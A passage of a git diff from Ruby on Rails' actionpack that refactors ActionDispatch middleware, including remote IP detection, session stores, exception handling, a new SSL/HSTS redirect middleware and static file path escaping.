+        (([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})                                                                                          | # - double colon
+        (([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})                                                                                          | # - in the middle
+        (([0-9A-Fa-f]{1,4}:){6} ((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3} (\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))                            | # ip v6 with compatible to v4
+        (([0-9A-Fa-f]{1,4}:){1,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))                           | # ip v6 with compatible to v4
+        (([0-9A-Fa-f]{1,4}:){1}:([0-9A-Fa-f]{1,4}:){0,4}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))     | # ip v6 with compatible to v4
+        (([0-9A-Fa-f]{1,4}:){0,2}:([0-9A-Fa-f]{1,4}:){0,3}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))   | # ip v6 with compatible to v4
+        (([0-9A-Fa-f]{1,4}:){0,3}:([0-9A-Fa-f]{1,4}:){0,2}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))   | # ip v6 with compatible to v4
+        (([0-9A-Fa-f]{1,4}:){0,4}:([0-9A-Fa-f]{1,4}:){1}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))     | # ip v6 with compatible to v4
+        (::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d) |(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))                         | # ip v6 with compatible to v4
+        ([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})                                                                                               | # ip v6 with compatible to v4
+        (::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})                                                                                                               | # ip v6 with double colon at the begining
+        (([0-9A-Fa-f]{1,4}:){1,7}:)                                                                                                                                  # ip v6 without ending
+        )$)
+      }x
+
+      def initialize(env, middleware)
+        @env           = env
+        @middleware    = middleware
+        @calculated_ip = false
       end
 
-      def remote_addrs
-        @remote_addrs ||= begin
-          list = @env['REMOTE_ADDR'] ? @env['REMOTE_ADDR'].split(/[,\s]+/) : []
-          list.reject { |addr| addr =~ @trusted_proxies }
+      # Determines originating IP address. REMOTE_ADDR is the standard
+      # but will be wrong if the user is behind a proxy. Proxies will set
+      # HTTP_CLIENT_IP and/or HTTP_X_FORWARDED_FOR, so we prioritize those.
+      # HTTP_X_FORWARDED_FOR may be a comma-delimited list in the case of
+      # multiple chained proxies. The first address which is in this list
+      # if it's not a known proxy will be the originating IP.
+      # Format of HTTP_X_FORWARDED_FOR:
+      # client_ip, proxy_ip1, proxy_ip2...
+      # http://en.wikipedia.org/wiki/X-Forwarded-For
+      def calculate_ip
+        client_ip    = @env['HTTP_CLIENT_IP']
+        forwarded_ip = ips_from('HTTP_X_FORWARDED_FOR').first
+        remote_addrs = ips_from('REMOTE_ADDR')
+
+        check_ip = client_ip && @middleware.check_ip
+        if check_ip && forwarded_ip != client_ip
+          # We don't know which came from the proxy, and which from the user
+          raise IpSpoofAttackError, "IP spoofing attack?!" \
+            "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}" \
+            "HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}"
+        end
+
+        client_ips = remove_proxies [client_ip, forwarded_ip, remote_addrs].flatten
+        if client_ips.present?
+          client_ips.first
+        else
+          # If there is no client ip we can return first valid proxy ip from REMOTE_ADDR
+          remote_addrs.find { |ip| valid_ip? ip }
         end
       end
 
       def to_s
-        return remote_addrs.first if remote_addrs.any?
-
-        forwarded_ips = @env['HTTP_X_FORWARDED_FOR'] ? @env['HTTP_X_FORWARDED_FOR'].strip.split(/[,\s]+/) : []
-
-        if client_ip = @env['HTTP_CLIENT_IP']
-          if @check_ip_spoofing && !forwarded_ips.include?(client_ip)
-            # We don't know which came from the proxy, and which from the user
-            raise IpSpoofAttackError, "IP spoofing attack?!" \
-              "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}" \
-              "HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}"
-          end
-          return client_ip
-        end
+        return @ip if @calculated_ip
+        @calculated_ip = true
+        @ip = calculate_ip
+      end
 
-        return forwarded_ips.reject { |ip| ip =~ @trusted_proxies }.last || @env["REMOTE_ADDR"]
+      private
+
+      def ips_from(header)
+        @env[header] ? @env[header].strip.split(/[,\s]+/) : []
       end
-    end
 
-    def initialize(app, check_ip_spoofing = true, trusted_proxies = nil)
-      @app = app
-      @check_ip_spoofing = check_ip_spoofing
-      regex = '(^127\.0\.0\.1$|^(10|172\.(1[6-9]|2[0-9]|30|31)|192\.168)\.)'
-      regex << "|(#{trusted_proxies})" if trusted_proxies
-      @trusted_proxies = Regexp.new(regex, "i")
-    end
+      def valid_ip?(ip)
+        ip =~ VALID_IP
+      end
+
+      def not_a_proxy?(ip)
+        ip !~ @middleware.proxies
+      end
+
+      def remove_proxies(ips)
+        ips.select { |ip| valid_ip?(ip) && not_a_proxy?(ip) }
+      end
 
-    def call(env)
-      env["action_dispatch.remote_ip"] = RemoteIpGetter.new(env, @check_ip_spoofing, @trusted_proxies)
-      @app.call(env)
     end
+
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb
index bee446c8a5..44290445d4 100644
--- a/actionpack/lib/action_dispatch/middleware/request_id.rb
+++ b/actionpack/lib/action_dispatch/middleware/request_id.rb
@@ -1,6 +1,5 @@
 require 'securerandom'
 require 'active_support/core_ext/string/access'
-require 'active_support/core_ext/object/blank'
 
 module ActionDispatch
   # Makes a unique request id available to the action_dispatch.request_id env variable (which is then accessible through
@@ -19,10 +18,7 @@ module ActionDispatch
 
     def call(env)
       env["action_dispatch.request_id"] = external_request_id(env) || internal_request_id
-      status, headers, body = @app.call(env)
-
-      headers["X-Request-Id"] = env["action_dispatch.request_id"]
-      [ status, headers, body ]
+      @app.call(env).tap { |status, headers, body| headers["X-Request-Id"] = env["action_dispatch.request_id"] }
     end
 
     private
@@ -33,7 +29,7 @@ module ActionDispatch
       end
 
       def internal_request_id
-        SecureRandom.hex(16)
+        SecureRandom.uuid
       end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/rescue.rb b/actionpack/lib/action_dispatch/middleware/rescue.rb
deleted file mode 100644
index aee672112c..0000000000
--- a/actionpack/lib/action_dispatch/middleware/rescue.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-module ActionDispatch
-  class Rescue
-    def initialize(app, rescuers = {}, &block)
-      @app, @rescuers = app, {}
-      rescuers.each { |exception, rescuer| rescue_from(exception, rescuer) }
-      instance_eval(&block) if block_given?
-    end
-
-    def call(env)
-      @app.call(env)
-    rescue Exception => exception
-      if rescuer = @rescuers[exception.class.name]
-        env['action_dispatch.rescue.exception'] = exception
-        rescuer.call(env)
-      else
-        raise exception
-      end
-    end
-
-    protected
-      def rescue_from(exception, rescuer)
-        exception = exception.class.name if exception.is_a?(Exception)
-        @rescuers[exception.to_s] = rescuer
-      end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
index 6bcf099d2c..7c12590c49 100644
--- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
@@ -2,26 +2,22 @@ require 'rack/utils'
 require 'rack/request'
 require 'rack/session/abstract/id'
 require 'action_dispatch/middleware/cookies'
-require 'active_support/core_ext/object/blank'
+require 'action_dispatch/request/session'
 
 module ActionDispatch
   module Session
     class SessionRestoreError < StandardError #:nodoc:
-    end
+      attr_reader :original_exception
+
+      def initialize(const_error)
+        @original_exception = const_error
 
-    module DestroyableSession
-      def destroy
-        clear
-        options = @env[Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY] if @env
-        options ||= {}
-        @by.send(:destroy_session, @env, options[:id], options) if @by
-        options[:id] = nil
-        @loaded = false
+        super("Session contains objects whose class definition isn't available.\n" +
+          "Remember to require the classes for all objects kept in the session.\n" +
+          "(Original exception: #{const_error.message} [#{const_error.class}])\n")
       end
     end
 
-    ::Rack::Session::Abstract::SessionHash.send :include, DestroyableSession
-
     module Compatibility
       def initialize(app, options = {})
         options[:key] ||= '_session_id'
@@ -30,7 +26,7 @@ module ActionDispatch
 
       def generate_sid
         sid = SecureRandom.hex(16)
-        sid.encode!('UTF-8') if sid.respond_to?(:encode!)
+        sid.encode!('UTF-8')
         sid
       end
 
@@ -58,11 +54,8 @@ module ActionDispatch
           begin
             # Note that the regexp does not allow $1 to end with a ':'
             $1.constantize
-          rescue LoadError, NameError => const_error
-            raise ActionDispatch::Session::SessionRestoreError,
-              "Session contains objects whose class definition isn't available.\n" +
-              "Remember to require the classes for all objects kept in the session.\n" +
-              "(Original exception: #{const_error.message} [#{const_error.class}])\n"
+          rescue LoadError, NameError => e
+            raise ActionDispatch::Session::SessionRestoreError, e, e.backtrace
           end
           retry
         else
@@ -71,12 +64,26 @@ module ActionDispatch
       end
     end
 
+    module SessionObject # :nodoc:
+      def prepare_session(env)
+        Request::Session.create(self, env, @default_options)
+      end
+
+      def loaded_session?(session)
+        !session.is_a?(Request::Session) || session.loaded?
+      end
+    end
+
     class AbstractStore < Rack::Session::Abstract::ID
       include Compatibility
       include StaleSessionCheck
+      include SessionObject
+
+      private
 
-      def destroy_session(env, sid, options)
-        raise '#destroy_session needs to be implemented.'
+      def set_cookie(env, session_id, cookie)
+        request = ActionDispatch::Request.new(env)
+        request.cookie_jar[key] = cookie
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
index d3b6fd12fa..1db6194271 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
@@ -1,5 +1,4 @@
 require 'action_dispatch/middleware/session/abstract_store'
-require 'rack/session/memcache'
 
 module ActionDispatch
   module Session
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index 8ebf870b95..9b159b2caf 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -1,5 +1,4 @@
 require 'active_support/core_ext/hash/keys'
-require 'active_support/core_ext/object/blank'
 require 'action_dispatch/middleware/session/abstract_store'
 require 'rack/session/cookie'
 
@@ -27,7 +26,7 @@ module ActionDispatch
     #   CGI::Session instance as an argument. It's important that the secret
     #   is not vulnerable to a dictionary attack. Therefore, you should choose
     #   a secret consisting of random numbers and letters and more than 30
-    #   characters. Examples:
+    #   characters.
     #
     #     :secret => '449fe2e7daee471bffae2fd8dc02313d'
     #     :secret => Proc.new { User.current_user.secret_key }
@@ -43,6 +42,7 @@ module ActionDispatch
     class CookieStore < Rack::Session::Cookie
       include Compatibility
       include StaleSessionCheck
+      include SessionObject
 
       private
 
@@ -59,7 +59,8 @@ module ActionDispatch
       end
 
       def set_session(env, sid, session_data, options)
-        session_data.merge("session_id" => sid)
+        session_data["session_id"] = sid
+        session_data
       end
 
       def set_cookie(env, session_id, cookie)
diff --git a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
index 4dd9a946c2..38a737cd2b 100644
--- a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
@@ -6,6 +6,7 @@ module ActionDispatch
     class MemCacheStore < Rack::Session::Memcache
       include Compatibility
       include StaleSessionCheck
+      include SessionObject
 
       def initialize(app, options = {})
         require 'memcache'
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index 2fa68c64c5..ab740a0190 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -1,172 +1,57 @@
-require 'active_support/core_ext/exception'
-require 'action_controller/metal/exceptions'
-require 'active_support/notifications'
 require 'action_dispatch/http/request'
+require 'action_dispatch/middleware/exception_wrapper'
 
 module ActionDispatch
-  # This middleware rescues any exception returned by the application and renders
-  # nice exception pages if it's being rescued locally.
+  # This middleware rescues any exception returned by the application
+  # and calls an exceptions app that will wrap it in a format for the end user.
+  #
+  # The exceptions app should be passed as parameter on initialization
+  # of ShowExceptions. Everytime there is an exception, ShowExceptions will
+  # store the exception in env["action_dispatch.exception"], rewrite the
+  # PATH_INFO to the exception status code and call the rack app.
+  #
+  # If the application returns a "X-Cascade" pass response, this middleware
+  # will send an empty response as result with the correct status code.
+  # If any exception happens inside the exceptions app, this middleware
+  # catches the exceptions and returns a FAILSAFE_RESPONSE.
   class ShowExceptions
-    RESCUES_TEMPLATE_PATH = File.join(File.dirname(__FILE__), 'templates')
-
-    cattr_accessor :rescue_responses
-    @@rescue_responses = Hash.new(:internal_server_error)
-    @@rescue_responses.update({
-      'ActionController::RoutingError'             => :not_found,
-      'AbstractController::ActionNotFound'         => :not_found,
-      'ActiveRecord::RecordNotFound'               => :not_found,
-      'ActiveRecord::StaleObjectError'             => :conflict,
-      'ActiveRecord::RecordInvalid'                => :unprocessable_entity,
-      'ActiveRecord::RecordNotSaved'               => :unprocessable_entity,
-      'ActionController::MethodNotAllowed'         => :method_not_allowed,
-      'ActionController::NotImplemented'           => :not_implemented,
-      'ActionController::InvalidAuthenticityToken' => :unprocessable_entity
-    })
-
-    cattr_accessor :rescue_templates
-    @@rescue_templates = Hash.new('diagnostics')
-    @@rescue_templates.update({
-      'ActionView::MissingTemplate'         => 'missing_template',
-      'ActionController::RoutingError'      => 'routing_error',
-      'AbstractController::ActionNotFound'  => 'unknown_action',
-      'ActionView::Template::Error'         => 'template_error'
-    })
-
     FAILSAFE_RESPONSE = [500, {'Content-Type' => 'text/html'},
       ["<html><body><h1>500 Internal Server Error</h1>" <<
        "If you are the administrator of this website, then please read this web " <<
        "application's log file and/or the web server's log file to find out what " <<
        "went wrong.</body></html>"]]
 
-    def initialize(app, consider_all_requests_local = false)
+    def initialize(app, exceptions_app)
       @app = app
-      @consider_all_requests_local = consider_all_requests_local
+      @exceptions_app = exceptions_app
     end
 
     def call(env)
       begin
-        status, headers, body = @app.call(env)
-        exception = nil
-
-        # Only this middleware cares about RoutingError. So, let's just raise
-        # it here.
-        if headers['X-Cascade'] == 'pass'
-           raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
-        end
+        response  = @app.call(env)
       rescue Exception => exception
         raise exception if env['action_dispatch.show_exceptions'] == false
       end
 
-      exception ? render_exception(env, exception) : [status, headers, body]
+      response || render_exception(env, exception)
     end
 
     private
-      def render_exception(env, exception)
-        log_error(exception)
-        exception = original_exception(exception)
-
-        request = Request.new(env)
-        if @consider_all_requests_local || request.local?
-          rescue_action_locally(request, exception)
-        else
-          rescue_action_in_public(exception)
-        end
-      rescue Exception => failsafe_error
-        $stderr.puts "Error during failsafe response: #{failsafe_error}\n  #{failsafe_error.backtrace * "\n  "}"
-        FAILSAFE_RESPONSE
-      end
-
-      # Render detailed diagnostics for unhandled exceptions rescued from
-      # a controller action.
-      def rescue_action_locally(request, exception)
-        template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
-          :request => request,
-          :exception => exception,
-          :application_trace => application_trace(exception),
-          :framework_trace => framework_trace(exception),
-          :full_trace => full_trace(exception)
-        )
-        file = "rescues/#{@@rescue_templates[exception.class.name]}"
-        body = template.render(:template => file, :layout => 'rescues/layout')
-        render(status_code(exception), body)
-      end
 
-      # Attempts to render a static error page based on the
-      # <tt>status_code</tt> thrown, or just return headers if no such file
-      # exists. At first, it will try to render a localized static page.
-      # For example, if a 500 error is being handled Rails and locale is :da,
-      # it will first attempt to render the file at <tt>public/500.da.html</tt>
-      # then attempt to render <tt>public/500.html</tt>. If none of them exist,
-      # the body of the response will be left empty.
-      def rescue_action_in_public(exception)
-        status = status_code(exception)
-        locale_path = "#{public_path}/#{status}.#{I18n.locale}.html" if I18n.locale
-        path = "#{public_path}/#{status}.html"
-
-        if locale_path && File.exist?(locale_path)
-          render(status, File.read(locale_path))
-        elsif File.exist?(path)
-          render(status, File.read(path))
-        else
-          render(status, '')
-        end
-      end
-
-      def status_code(exception)
-        Rack::Utils.status_code(@@rescue_responses[exception.class.name])
-      end
-
-      def render(status, body)
-        [status, {'Content-Type' => "text/html; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
-      end
-
-      def public_path
-        defined?(Rails.public_path) ? Rails.public_path : 'public_path'
-      end
-
-      def log_error(exception)
-        return unless logger
-
-        ActiveSupport::Deprecation.silence do
-          message = "\n#{exception.class} (#{exception.message}):\n"
-          message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
-          message << "  " << application_trace(exception).join("\n  ")
-          logger.fatal("#{message}\n\n")
-        end
-      end
-
-      def application_trace(exception)
-        clean_backtrace(exception, :silent)
-      end
-
-      def framework_trace(exception)
-        clean_backtrace(exception, :noise)
-      end
-
-      def full_trace(exception)
-        clean_backtrace(exception, :all)
-      end
-
-      def clean_backtrace(exception, *args)
-        defined?(Rails) && Rails.respond_to?(:backtrace_cleaner) ?
-          Rails.backtrace_cleaner.clean(exception.backtrace, *args) :
-          exception.backtrace
-      end
-
-      def logger
-        defined?(Rails.logger) ? Rails.logger : Logger.new($stderr)
-      end
-
-    def original_exception(exception)
-      if registered_original_exception?(exception)
-        exception.original_exception
-      else
-        exception
-      end
+    def render_exception(env, exception)
+      wrapper = ExceptionWrapper.new(env, exception)
+      status  = wrapper.status_code
+      env["action_dispatch.exception"] = wrapper.exception
+      env["PATH_INFO"] = "/#{status}"
+      response = @exceptions_app.call(env)
+      response[1]['X-Cascade'] == 'pass' ? pass_response(status) : response
+    rescue Exception => failsafe_error
+      $stderr.puts "Error during failsafe response: #{failsafe_error}\n  #{failsafe_error.backtrace * "\n  "}"
+      FAILSAFE_RESPONSE
     end
 
-    def registered_original_exception?(exception)
-      exception.respond_to?(:original_exception) && @@rescue_responses.has_key?(exception.original_exception.class.name)
+    def pass_response(status)
+      [status, {"Content-Type" => "text/html; charset=#{Response.default_charset}", "Content-Length" => "0"}, []]
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
new file mode 100644
index 0000000000..9098f4e170
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -0,0 +1,70 @@
+module ActionDispatch
+  class SSL
+    YEAR = 31536000
+
+    def self.default_hsts_options
+      { :expires => YEAR, :subdomains => false }
+    end
+
+    def initialize(app, options = {})
+      @app = app
+
+      @hsts = options.fetch(:hsts, {})
+      @hsts = {} if @hsts == true
+      @hsts = self.class.default_hsts_options.merge(@hsts) if @hsts
+
+      @host    = options[:host]
+      @port    = options[:port]
+    end
+
+    def call(env)
+      request = Request.new(env)
+
+      if request.ssl?
+        status, headers, body = @app.call(env)
+        headers = hsts_headers.merge(headers)
+        flag_cookies_as_secure!(headers)
+        [status, headers, body]
+      else
+        redirect_to_https(request)
+      end
+    end
+
+    private
+      def redirect_to_https(request)
+        url        = URI(request.url)
+        url.scheme = "https"
+        url.host   = @host if @host
+        url.port   = @port if @port
+        headers    = hsts_headers.merge('Content-Type' => 'text/html',
+                                        'Location'     => url.to_s)
+
+        [301, headers, []]
+      end
+
+      # http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02
+      def hsts_headers
+        if @hsts
+          value = "max-age=#{@hsts[:expires]}"
+          value += "; includeSubDomains" if @hsts[:subdomains]
+          { 'Strict-Transport-Security' => value }
+        else
+          {}
+        end
+      end
+
+      def flag_cookies_as_secure!(headers)
+        if cookies = headers['Set-Cookie']
+          cookies = cookies.split("\n")
+
+          headers['Set-Cookie'] = cookies.map { |cookie|
+            if cookie !~ /;\s+secure(;|$)/
+              "#{cookie}; secure"
+            else
+              cookie
+            end
+          }.join("\n")
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/stack.rb b/actionpack/lib/action_dispatch/middleware/stack.rb
index a4308f528c..bbf734f103 100644
--- a/actionpack/lib/action_dispatch/middleware/stack.rb
+++ b/actionpack/lib/action_dispatch/middleware/stack.rb
@@ -75,6 +75,11 @@ module ActionDispatch
       middlewares[i]
     end
 
+    def unshift(*args, &block)
+      middleware = self.class::Middleware.new(*args, &block)
+      middlewares.unshift(middleware)
+    end
+
     def initialize_copy(other)
       self.middlewares = other.middlewares.dup
     end
@@ -93,8 +98,9 @@ module ActionDispatch
     end
 
     def swap(target, *args, &block)
-      insert_before(target, *args, &block)
-      delete(target)
+      index = assert_index(target, :before)
+      insert(index, *args, &block)
+      middlewares.delete_at(index + 1)
     end
 
     def delete(target)
@@ -109,7 +115,7 @@ module ActionDispatch
     def build(app = nil, &block)
       app ||= block
       raise "MiddlewareStack#build requires an app" unless app
-      middlewares.reverse.inject(app) { |a, e| e.build(a) }
+      middlewares.freeze.reverse.inject(app) { |a, e| e.build(a) }
     end
 
   protected
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
index 404943d720..9073e6582d 100644
--- a/actionpack/lib/action_dispatch/middleware/static.rb
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -1,4 +1,5 @@
 require 'rack/utils'
+require 'active_support/core_ext/uri'
 
 module ActionDispatch
   class FileHandler
@@ -11,14 +12,14 @@ module ActionDispatch
     def match?(path)
       path = path.dup
 
-      full_path = path.empty? ? @root : File.join(@root, ::Rack::Utils.unescape(path))
+      full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(unescape_path(path)))
       paths = "#{full_path}#{ext}"
 
       matches = Dir[paths]
       match = matches.detect { |m| File.file?(m) }
       if match
         match.sub!(@compiled_root, '')
-        match
+        ::Rack::Utils.escape(match)
       end
     end
 
@@ -32,6 +33,15 @@ module ActionDispatch
         "{,#{ext},/index#{ext}}"
       end
     end
+
+    def unescape_path(path)
+      URI.parser.unescape(path)
+    end
+
+    def escape_glob_chars(path)
+      path.force_encoding('binary') if path.respond_to? :force_encoding
+      path.gsub(/[*?{}\[\]]/, "\\\\\\&")
+    end
   end
 
   class Static
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
index 0c5bafa666..823f5d25b6 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
@@ -12,8 +12,8 @@
 
   request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
 
-  def debug_hash(hash)
-    hash.sort_by { |k, v| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+  def debug_hash(object)
+    object.to_hash.sort_by { |k, v| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
   end unless self.class.method_defined?(:debug_hash)
 %>
 
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
index 6e71fd7ddc..1a308707d1 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
@@ -16,6 +16,7 @@
       background-color: #eee;
       padding: 10px;
       font-size: 11px;
+      white-space: pre-wrap;
     }
 
     a { color: #000; }
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
index ccfa858cce..8c594c1523 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
@@ -1,10 +1,23 @@
 <h1>Routing Error</h1>
 <p><pre><%=h @exception.message %></pre></p>
-<% unless @exception.failures.empty? %><p>
-  <h2>Failure reasons:</h2>
-  <ol>
-  <% @exception.failures.each do |route, reason| %>
-    <li><code><%=h route.inspect.gsub('\\', '') %></code> failed because <%=h reason.downcase %></li>
-  <% end %>
-  </ol>
-</p><% end %>
+<% unless @exception.failures.empty? %>
+  <p>
+    <h2>Failure reasons:</h2>
+    <ol>
+    <% @exception.failures.each do |route, reason| %>
+      <li><code><%=h route.inspect.gsub('\\', '') %></code> failed because <%=h reason.downcase %></li>
+    <% end %>
+    </ol>
+  </p>
+<% end %>
+<%= render :template => "rescues/_trace" %>
+
+<h2>
+  Routes
+</h2>
+
+<p>
+  Routes match in priority from top to bottom
+</p>
+
+<p><pre><%= @routes %></pre></p>
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index 1af89858d1..ccc0435a39 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -9,11 +9,37 @@ module ActionDispatch
     config.action_dispatch.best_standards_support = true
     config.action_dispatch.tld_length = 1
     config.action_dispatch.ignore_accept_header = false
-    config.action_dispatch.rack_cache = {:metastore => "rails:/", :entitystore => "rails:/", :verbose => true}
+    config.action_dispatch.rescue_templates = { }
+    config.action_dispatch.rescue_responses = { }
+    config.action_dispatch.default_charset = nil
+
+    config.action_dispatch.rack_cache = {
+      :metastore => "rails:/",
+      :entitystore => "rails:/",
+      :verbose => false
+    }
+
+    config.action_dispatch.default_headers = {
+      'X-Frame-Options' => 'SAMEORIGIN',
+      'X-XSS-Protection' => '1; mode=block',
+      'X-Content-Type-Options' => 'nosniff'
+    }
+
+    config.eager_load_namespaces << ActionDispatch
 
     initializer "action_dispatch.configure" do |app|
       ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
       ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+      ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
+      ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
+
+      ActionDispatch::ExceptionWrapper.rescue_responses.merge!(config.action_dispatch.rescue_responses)
+      ActionDispatch::ExceptionWrapper.rescue_templates.merge!(config.action_dispatch.rescue_templates)
+
+      config.action_dispatch.always_write_cookie = Rails.env.development? if config.action_dispatch.always_write_cookie.nil?
+      ActionDispatch::Cookies::CookieJar.always_write_cookie = config.action_dispatch.always_write_cookie
+
+      ActionDispatch.test_app = app
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
new file mode 100644
index 0000000000..d8bcc28613
--- /dev/null
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -0,0 +1,174 @@
+require 'rack/session/abstract/id'
+
+module ActionDispatch
+  class Request < Rack::Request
+    # SessionHash is responsible to lazily load the session from store.
+    class Session # :nodoc:
+      ENV_SESSION_KEY         = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
+      ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
+
+      def self.create(store, env, default_options)
+        session_was = find env
+        session     = Request::Session.new(store, env)
+        session.merge! session_was if session_was
+
+        set(env, session)
+        Options.set(env, Request::Session::Options.new(store, env, default_options))
+        session
+      end
+
+      def self.find(env)
+        env[ENV_SESSION_KEY]
+      end
+
+      def self.set(env, session)
+        env[ENV_SESSION_KEY] = session
+      end
+
+      class Options #:nodoc:
+        def self.set(env, options)
+          env[ENV_SESSION_OPTIONS_KEY] = options
+        end
+
+        def self.find(env)
+          env[ENV_SESSION_OPTIONS_KEY]
+        end
+
+        def initialize(by, env, default_options)
+          @by       = by
+          @env      = env
+          @delegate = default_options.dup
+        end
+
+        def [](key)
+          if key == :id
+            @delegate.fetch(key) {
+              @delegate[:id] = @by.send(:extract_session_id, @env)
+            }
+          else
+            @delegate[key]
+          end
+        end
+
+        def []=(k,v);         @delegate[k] = v; end
+        def to_hash;          @delegate.dup; end
+        def values_at(*args); @delegate.values_at(*args); end
+      end
+
+      def initialize(by, env)
+        @by       = by
+        @env      = env
+        @delegate = {}
+        @loaded   = false
+        @exists   = nil # we haven't checked yet
+      end
+
+      def options
+        Options.find @env
+      end
+
+      def destroy
+        clear
+        options = self.options || {}
+        @by.send(:destroy_session, @env, options[:id], options)
+        options[:id] = nil
+        @loaded = false
+      end
+
+      def [](key)
+        load_for_read!
+        @delegate[key.to_s]
+      end
+
+      def has_key?(key)
+        load_for_read!
